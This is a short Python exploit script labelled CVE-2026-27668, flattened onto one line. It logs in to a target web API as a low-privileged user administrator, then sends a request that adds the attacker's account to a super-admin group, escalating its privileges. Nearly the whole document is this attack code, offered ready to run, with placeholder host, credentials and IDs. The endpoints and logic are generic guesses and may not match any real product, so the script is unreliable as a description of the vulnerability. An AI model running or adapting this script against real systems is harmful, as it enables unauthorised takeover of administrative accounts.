CVE-2026-27668

import requests # Target configuration TARGET_HOST = "https://<target-ip>" LOGIN_API = f"{TARGET_HOST}/api/login" GROUP_API = f"{TARGET_HOST}/api/groups" # Credentials for a low-privileged User Administrator USERNAME = "user_admin" PASSWORD = "password" def exploit(): session = requests.Session() # Step 1: Authenticate as the User Administrator print("[*] Attempting to login...") login_payload = {"username": USERNAME, "password": PASSWORD} response = session.post(LOGIN_API, json=login_payload, verify=False) if response.status_code != 200: print("[-] Login failed") return print("[+] Login successful") # Step 2: Identify the target high-privilege group (e.g., ID 1 for Super Admins) # and the current user's ID (assuming ID 101) target_group_id = 1 attacker_user_id = 101 # Step 3: Exploit the vulnerability to add user to the privileged group # The vulnerability allows User Admins to modify groups they belong to, # but logic fails to prevent escalating to groups they shouldn't fully control. exploit_payload = { "action": "add_member", "group_id": target_group_id, "user_id": attacker_user_id } print(f"[*] Attempting to escalate privileges by adding user {attacker_user_id} to group {target_group_id}...") exploit_response = session.post(GROUP_API, json=exploit_payload, verify=False) if exploit_response.status_code == 200: print("[+] Exploit successful! Privileges escalated.") else: print("[-] Exploit failed. Check permissions or API endpoint.") if __name__ == "__main__": exploit()

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